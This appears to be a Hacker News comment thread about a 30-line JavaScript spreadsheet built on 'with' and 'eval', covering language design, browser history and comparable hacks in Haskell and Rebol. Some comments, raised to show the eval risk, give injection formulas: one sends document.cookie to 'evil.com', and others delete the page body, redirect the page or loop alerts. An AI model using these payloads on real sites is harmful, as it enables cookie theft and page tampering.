A spreadsheet in fewer than 30 lines of JavaScript, no library used
jsfiddle.net
jsfiddle.net
I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines.
It is useful sometimes to reflect on what has evolved so far - and wonder where we should be taking things. What is it now that is the equivalent of writing our own screen handling routines? Location? Distributed computation or storage?
I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.
Ruby or Smalltalk have an object system for doing those kinds of things that was actually designed and not evolved by committees and corporations, so that your meta-programming doesn't have to always be only eval and .bind in various incarnations (unsafe, inconvenient and slow). I can't imagine how this thing here that makes evaluating "A1" perform a function call fits into the rest of JavaScript and why the hall was it even introduced:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...
Not to mention the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope. In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.
I congratulate the author of this code as much as everyone for finding an unexpected and very creative use for those features, but this doesn't make them great.
At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.
> your meta-programming doesn't have to always be only eval and .bind in various incarnations
I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.
> unsafe, inconvenient and slow
Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.
> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope
"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.
> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.
The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.
> this doesn't make them great.
No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.
Unfortunately not. The design of with not only makes the code difficult to reason about for humans, it also makes the code difficult to reason about for js engines, and so it typically prevents any interesting optimisations. So code written using "with" will be both confusing and slow.
It'd be a bit like saying that C is a great language because someone wrote a raytracer that fits on a business card[0] using it.
[0] http://fabiensanglard.net/rayTracing_back_of_business_card/
Sadly, I can't really run python in the browser.
You really can think javascript and write coffeescript.
No help on the DSL front though - still stuck with various kinds of brackets and parens.
On the other hand, it doesn't do the utterly horrible mistake of conflating variable declaration and variable assignment while forbidding shadowing, resulting with surprise bugs and spooky action at a distance.
Server-side, sure, use the latest build you can get.
Certainly an option; keeping the syntax recognisable helped rather than hindered adoption, which was slow enough as it was at the beginning.
JS+DOM could have lost to Flash rather than vice versa.
I don't think that JS+DOM beating flash/java has much to do at all with "gee, this looks superficially like java, but is different enough to trip me up in rather weird ways".
In order for that to have not happened, it would have had to be so unpopular that Microsoft would decide it wasn't worth adopting, but still popular enough to get Microsoft on board with the general idea. I just don't think that is likely; people would have sucked up a scheme-based javascript even if it was a tad unfamiliar; it was that useful.
(Not to mention, going with the cynical "three E's" theory of 90s Microsoft, they would have at least first adopted it before perverting it.)
I think people overplay the importance of being C-like. AutoLISP hit a bit earlier and found a very strong following in a non-programmer niche. People doing web development were already fucking around in HTML of course, so clearly they could wrap their heads around things over than curly braces.
microsoft had visual basic in the browser, working like php works. that was microsoft's vision, which would have been the web if netscape didn't still have significant market share. IE had to implement javascript to be compatible with pages written for netscape.
simple as that. just microsoft's famous "embrace, extend, extinguish" strategy at work.
Note: This isn't criticism of your view nor am I taking sides. I am wondering --since you have a strong opinion on this front-- what you think the solution might look like.
I mean, are you looking at the idea of having something like python natively available at the browser?
// Take an array of context dictionaries, and return a
// function that evaluates a string in those contexts.
// I fully realize how horrible this code is, and that
// it only supports up to ten contexts. I feel terrible
// about it, as I should, but I would feel even worse
// if it were impossible to do this. But isn't there
// a simpler way to do this is JavaScript? Maybe I
// could use __proto__ inheritence, but I was hoping
// to avoid.
function evalInContextsFunction(_contexts) {
var _contextCount = _contexts.length;
if (_contextCount == 0) {
return function evalInContexts(_text) {return eval(_text)};
}
with (_contexts[0] || {}) {
if (_contextCount == 1) {
return function evalInContexts(_text) {return eval(_text)};
}
with (_contexts[1] || {}) {
if (_contextCount == 2) {
return function evalInContexts(_text) {return eval(_text)};
}
[...and so on...]It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off the radar, with IE9 to follow in the next couple years. It's only getting better. IE8 was really the last relatively bad browser imho. IE9 has some quirks, and IE10/11 are actually pretty nice (though IE11 is the most buggy browser MS has released since IE6, possibly more so).
Yes, there are still browser compatibility issues.. but they are so few and far between for day to day use. Except for WebRTC and WebAudio, things are really solid.
Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).
At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.
They are still pretty much all on XP, but new laptops are generally Windows 7 (with IE8) and I suspect Win7 will be rolling out to older standard builds (both desktop and laptop, machines old enough to not be Win7 compatible having been replaced already) as the first thing the relevant TS departments do after the Christmas/NewYear non-emergency-work freezes.
That spell checker is intended to demonstrate a technique but it is far from 21 lines of real code. It you look at the included modules (re and collections) you'll find THOUSANDS of lines of code.
As always "I did x in n lines of <insert language>" often are really interesting learning tools but real production code isn't (or should not) ever look like these examples. No criticism of Norvig's code, it's interesting and I, too, learned something very interesting the first time I saw it.
Centering something using CSS. :(
simple demo: http://philipwalton.github.io/solved-by-flexbox/demos/vertic...
with (DATA)
now that's just genius. I hate writing token parsing.
Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.
Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s
Are these statements still true ?
Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');
eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
It seems like that would be somewhat XSS safe since you are just passing strings back and forth.
I really like this idea.
evalSafeAsync(code,context,callback)
That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.
That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.
Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.
They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.
Consider the formula =A1+A2
inside the getter we have:
with(DATA) eval('A1+A2');
Which is basically the same as: eval('DATA.A1+DATA.A2');
Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me.
I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?
Firefox does a similar thing, by throwing a "too much recursion" error.
context = { foo: 1, bar: 2 };
with (context) {
foo = 2;
bar = 3;
}
That will probably do what you expect. But now say you run it where context is just ... context = { foo: 1 };
with (context) {
foo = 2;
bar = 3;
}
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!In short, 'with' is pointy on both ends.
If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!
[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.
I think it's time that we accept the browser as a platform development model. Now Apple has 'iWork for iCloud' and Google has had it's doc programs for a while.
Very good hack, very powerful idea.
http://dbpokorny.blogspot.com/2013/11/the-online-spreadsheet...
The blog post is very interesting to read, but here's the meat. We're looking for a function with type
loeb :: Functor f => f (f a -> a) -> f a
and without thinking about the meaning of it, we can implement it as loeb x = fmap (\a -> a (loeb x)) x
which embodies a certain, strange kind of recursion. It turns out that it's "spreadsheet recursion". We build a list of functions from lists of a to a like test :: [[Int] -> Int]
test = [ (!! 1), length, (!! 0) ] -- think [A1, length(A), A0]
then `loeb test` "completes" the list by applying the "result list" to each of the functions of the source list. loeb test == [3, 3, 3]
Laziness lets the recursion proceed despite "evaluating" the list from left to right. Infinite loops still fail loeb [(!! 0)] == [............ waiting
It's also interesting to think of how to do "spreadsheet recursion" on exotic data types like trees. data Binary a = Branch (Binary a) a (Binary a) | Tip
deriving (Show, Functor)
depth Tip = 0
depth (Branch l _ r) = succ (max (depth l) (depth r))
top default Tip = default
top _ (Branch _ a _) = a
> loeb (Branch Tip depth (Branch Tip (top 0) Tip))
Branch Tip 2 (Branch Tip 2 Tip)
[0] http://blog.sigfpe.com/2006/11/from-l-theorem-to-spreadsheet... fact = loeb fact' where
fact' 0 _ = 1
fact' n f = n*f (n-1)
If we ask GHC for the type of `fact'` then we see that it is Int -> ((Int -> Int) -> Int)
which we can interpret via the `Reader Int` monad as being m (m Int -> Int)
-- for
m a = (Int -> a)
Now, `f :: (Int -> a)` as a functor is isomorphic to an infinite stream map f [0, 1, ...]
if we ignore the negative numbers. So we can think of `fact'` as having the type Stream (Stream Int -> Int)
where each function in the stream takes its own index and multiplies it by the value at the previous index.Then `loeb` completes the computation using spreadsheet recursion.
data Stream a = Stream a (Stream a)
deriving Functor
tabulate :: (Int -> a) -> Stream a
tabulate f = go 0 where
go n = Stream (f n) (go (succ n))
index :: Stream a -> (Int -> a)
index (Stream a _) 0 = a
index (Stream a st) n = index st (pred n)
-- btw: tabulate . index == id
-- and index . tabulate == id
fact :: Int -> Int
fact n = index (loeb facts) n where
facts :: Stream (Stream Int -> Int)
facts = tabulate $ \i stream -> i * index stream (i-1)* - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.
I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time.
Why? Because 1% of functionality is still better than 0% (never shipping).
You're not Microsoft. You don't have to keep your dominance in the spreadsheet software market like Microsoft has to.
It doesn't actually work well. It doesn't do basic stuff, which makes it entirely unusable. Like you can't move up/down/left/right using the arrow keys. You can't save it. It crashes if you make basic mistakes.
The 80% of perceived functionality is that it looks like a spreadsheet app and actually does some basic calculations.
It actually does about 5% of what you'd expect even the most basic of spreadsheets to do. And all the polish of even the most basic functionality is missing, which is what takes most of the time.
Which is why you should always avoid putting a pretty looking but barely functional mockup in front of the pointy hairs. They then think it's almost done.
But 30 lines of code, what do you expect? Now imagine jQuery type library with a community of developers and you get... Google Docs :-p
This is exactly the insidious myth that the GP is pointing out.
Yes, 80% of the "perceived" functionality might be 1% of the work. But the remaining 20% is a long tail of utterly essential features that are completely fragmented between users. Each user only cares about 80.1% of features, but without the extra 0.1% your spreadsheet is useless.
One user will care that it doesn't print. Another will care that it can't do a sum over columns. Another will care that it doesn't have charts. Another will care that you can't make a bold heading. Another will want statistics functions. Basically your "80% of functionality" has zero value until you do years of work to implement all those 0.1% features.
This myth leads countless people to implement what they think is MVP and then be mystified that their insanely great work still has zero value to anybody they actually show it too.
The incredibly difficult 20% is what people pay for. It's what the businesses that shell out billions of dollars a year pay for. And it's what a successful product in the space needs to tackle
You're talking about "feature minimalism is a good design philosophy".
The other dudes are talking about "bridging the gap between a sweet demo and a final product is a tremendous assload of work".
Also, I don't think that "feature minimalism is a good design philosophy" is always true, even though it may guide you well in most cases.
The perception of being a "almost complete spreadsheet" might be due to the UI looking similar to older versions of Excel, leading people to assume stuff is there that doesn't.
When this javascript code attempts to access the LocalStorage API, Chrome (rightfully) steps in and says: nope. This may be a new security feature, but is present in Chrome 30.0.1599.114 on Fedora.
I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell.
[0] http://wijmo.com/demo/spreadjs/samples/index.html
[1] http://www.gelsheet.org/demo
Many grid (table) widgets support edit-in-place, but that's as far as most of them go. The target userbase for full-featured spreadsheets is going to be users whom I'd presume already have access to Excel (edit: and/or access to a compatible product, like Google's online version or maybe one of the FOSS MSO replacements).
Keep thinking I need to convert this to JS: Spreadsheet formulas that build web applications - http://www.youtube.com/watch?v=oogKKfbRyMQ (2 Min)
It would be nice if something like that existed, but with much richer features like the libraries above.
Nice hack, impressive!
http://www.ioccc.org/2000/jarijyrki.c
Explanation:
After seeing it working and the few clever lines of code I was really surprised. But then I though: oh, let me go back to HN and read the comments from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments like that are here. What is wrong with this poeple???
There's the downvote button if something is really not fruitful for discussion (remember though discussion is - to a respectful extent - often enriched when people differ in their views and opinions on a subject).
I don't see why every thread on HN needs a top level comment that meta-discourages criticism.
And the reason why I point these critics out is that they are simply not reasonable if you know what is happening there. Perhaps having a top level comment like this may actually encourage them to think twice or try to learn before commenting?
But you know, maybe this is just a mirror to what happens almost daily in companies where there are non-technical people making decisions. Imagine this "excel-like app" being presented by the author to his boss, a non-technical person, as something extra that he built and is all excited about. There is a good chance that his boss will make the bad comments that it is lacking a lot of features. That is probably why these people make such comments: they don't have a clue of what is going on.
* Announcement on Rebol mailing list - http://www.rebol.org/ml-display-thread.r?m=rmlNHPK
* Code (Rebol script library) - http://www.rebol.org/view-script.r?script=rebocalc.r
* Code (in Gist for nicer syntax highlighting) - https://gist.github.com/draegtun/7454495
* Recent blog post with screen image - http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spr...
You can amend max-x & max-y variables in the script to change spreadsheet size to make bigger.
For others...
The Rebol 2 binaries to run this spreadsheet script can be found here - http://www.rebol.com/download-view.html
And from the shell/command line you can also run the script straight off the internet like so:
./rebol http://www.rebol.org/download-a-script.r?script-name=rebocalc.r
The spreadsheet is simple to use (beginner level) but surprisingly very powerful (Rebol types, expressions & functions are available).Definitely the most punch I've seen per line of code.
You can use javascript functions in your excel formulas. In a 30 line of code program this is a feature.
= alert("I love it.");
excel_like_expression ::= "=" javascript_expression
Bug/feature: only uppercase works in formulas (A4 works but a4 does not).
elm.onkeydown = function(evt) {
evt = evt || window.event;
var keyCode = evt.keyCode || evt.which;
if (keyCode == '13') {
var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
document.getElementById(nextid).focus();
}
};
disclaimer: I don't know JSSeeing things like this reminds me how much JS is capable of in today's browsers and also shows me how much more I need to understand about the language.
Awesome stuff.
This is where the magic happens :
var getter = function() {
var value = localStorage[elm.id] || "";
if (value.charAt(0) == "=") {
with (DATA) return eval(value.substring(1));
} else { return isNaN(parseFloat(value)) ? value :
parseFloat(value); }
};
So if you entered "=A1 + A2" it would be evaluated as
DATA[A1]+DATA[A2] . A1 and A2 get bound to DATA because of the preceding with statement.Now the question is what happens when DATA[A1] is called. He used Object.defineProperty to ensure that whenever you try to access a cell the same method (which i just explained) gets called.
Object.defineProperty(DATA, elm.id, {get:getter});
This means add a property called elm.id to DATA and it's getter is the function I just explained.So whenever we try to acess DATA[something] it hooks into the same getter method so a cell can depend on another cell which depends on another cell and so on ..
Now you can see why this so clever. Because he used the inbuilt eval it can evaluate any kind of formula involving multiplication , division or function calls.
The only thing I dont understand is how circular references are prevented.
Like I said I'm not very familiar with JS so if anyone notices anything wrong I'd like to know.
But I think it would of been more impressive at 40 or whatever it would of taken to have a couple error checks.
What I mean by this is if you enter an invalid formula say =() or =asdf in a cell it breaks all the valid formulas you enter after that cell making them display as text instead of a value when refreshed.
=(function(){console.log("hehehe");})() =alert("hehehe")=document.getElementsByTagName('body')[0].parentNode.removeChild(document.getElementsByTagName('body')[0])
The line is saved in localStore, breaking the spreadsheet for future requests.
This may sound like an inane comment, but trying working along Excel power users for the past two decades. Most people have no idea of the crazy, huge, complicated environment that is Excel.
Unfortunately, it works for them because people like the interface - i.e. a nicely modifiable grid of values. We're in dire need of an application that simplifies working with a database, and better table-editing tools in word processors.
For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.
What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?
1. Data binding.
Angular: ng-model, ng-controller, relying on Angular's magical $scope
This: custom defined object getter, essentially making the data resides in the DOM input elements (while keeping a copy in localStorage)
2. Expression evaluation
Angular: $parse service
This: 'with' and 'eval' in the same line. Despite its double 'evilness', this is really clever.
hey look, a page redirect :D
Thought I'd have a crack at doing something similar in Rebol. Here's my attempt:
Rebol []
; Here's the beef!... the spreadsheet object
spreadsheet: context [
update: func [block /local b] [
b: compose/deep block
bind b self ; so action happens in object context
do b
]
]
; make sheet with following cells
ss: make spreadsheet [
a1: 5
a2: does [a1 * 6]
a3: does [a2 * 7]
]
; simple usage example
print ss/a3 ; => 210
ss/a1: 6
print ss/a3 ; => 252
; use /update method to keep it within the objects context (needed for DOES)
ss/update [a3: does [a1 + a2]]
print ss/a3 ; => 42
; and compose in variables from current context, see (a1)
a1: 1000
ss/update [a3: does [a1 + (a1)]]
print ss/a3 ; => 1006
You could probably do something very similar in other prototype based object languages.However we have a long way to go. This would be nice for a start: http://vimeo.com/36579366
Works in Safari 7.
(Uses a regexp instead of `with` statement as CoffeeScript forbids with).
=document.location='http://facebook.com/'
2. eval()
3. ???
4. PROFIT! (for the person who stole data/identity, etc)
Voila.
People copy code, the defaults should be safer. I know that wouldn't make it so elegant as it wouldn't fit in so few lines, but that's how you educate others on the risks and how to deal with those risks.
I'd place a bet that if this did happen, it would not be on a site that stores sensitive information. And even in the ridiculously unlikely case that it did, I would still not blame that on the Fiddle. This code is perfectly safe in the situation it's used in. The idea that minimal demos must cover every conceivable situation just seems really weird to me. Most places don't even generally require real production code to deal with out-of-scope situations. (For example, most Rails apps do not include code deal with the possibility that application_controller.rb has been replaced with malicious code even though that is a huge vulnerability if the Internet has write access to application_controller.rb. They rely on external measures to ensure that situation doesn't arise.)
> People copy code, the defaults should be safer.
There is no safer default to use here AFAIK.
0.1 + 0.2 = 0.30000000000000004
Awesome work either way. Would be nice to know how many lines of code Lotus 1-2-3 had.
It was built on 2005, with real-time collaboration, no library used.
=DATA[$.id]EDIT: I get it guys - I complained without reading carefully, sorry...
Perhaps the use of the more modern querySelectorAll threw you?
https://developer.mozilla.org/en-US/docs/Web/API/Document.qu...
I'm afraid I suffered from commenting without reading properly. In my defence, seeing $ signs everywhere shuts down the careful part of my brain.
How nice.
Kudos.
=while(1) {alert("BOO")}
HAHAHA I BROKED ITBut I disagree that writing short programs for the sake of writing short programs is a bad thing. Sure, you need to recognize that you can't take all of the habits you get from it with you when doing stuff for production, but it can be a good goal when creating prototypes. One big advantage is that it prevents feature creep.
I wrote a library a while back called DelayedOp for wrangling async calls in JS. Originally it was 5 lines of CoffeeScript, and I actually used it in that form for a while. It's much bigger now and full of features to aid in debugging. The key is that by writing it minimally to begin with, I got something I could use and see what features I actually wanted to add. And while I mourn the elegance of those original five lines, I also realize that what it is now is far more useful and reliable.
And why do you call a table an "excel-like" app? Can it so =SUM(); can it do search and replace or the over 9000 other features of excel? No... it's a table, with a editor.
var DATA={ SUM: function(a,b) { return a+b; } }
Nice demonstration of language features, like 'with', that we usually take as 'bad practices'.
function SUM() { var sum = 0; for (var i = 0; i < arguments.length; i++) { sum += arguments[i]; } return sum; }
Now you can do stuff like =SUM(A1, B1, C2) and it works like expected.
You could, of course, write a sum function, and reference it wherever you like.
On the other, I imagine some PM is going to read this and expect their developers to get a google docs competitor out in a day!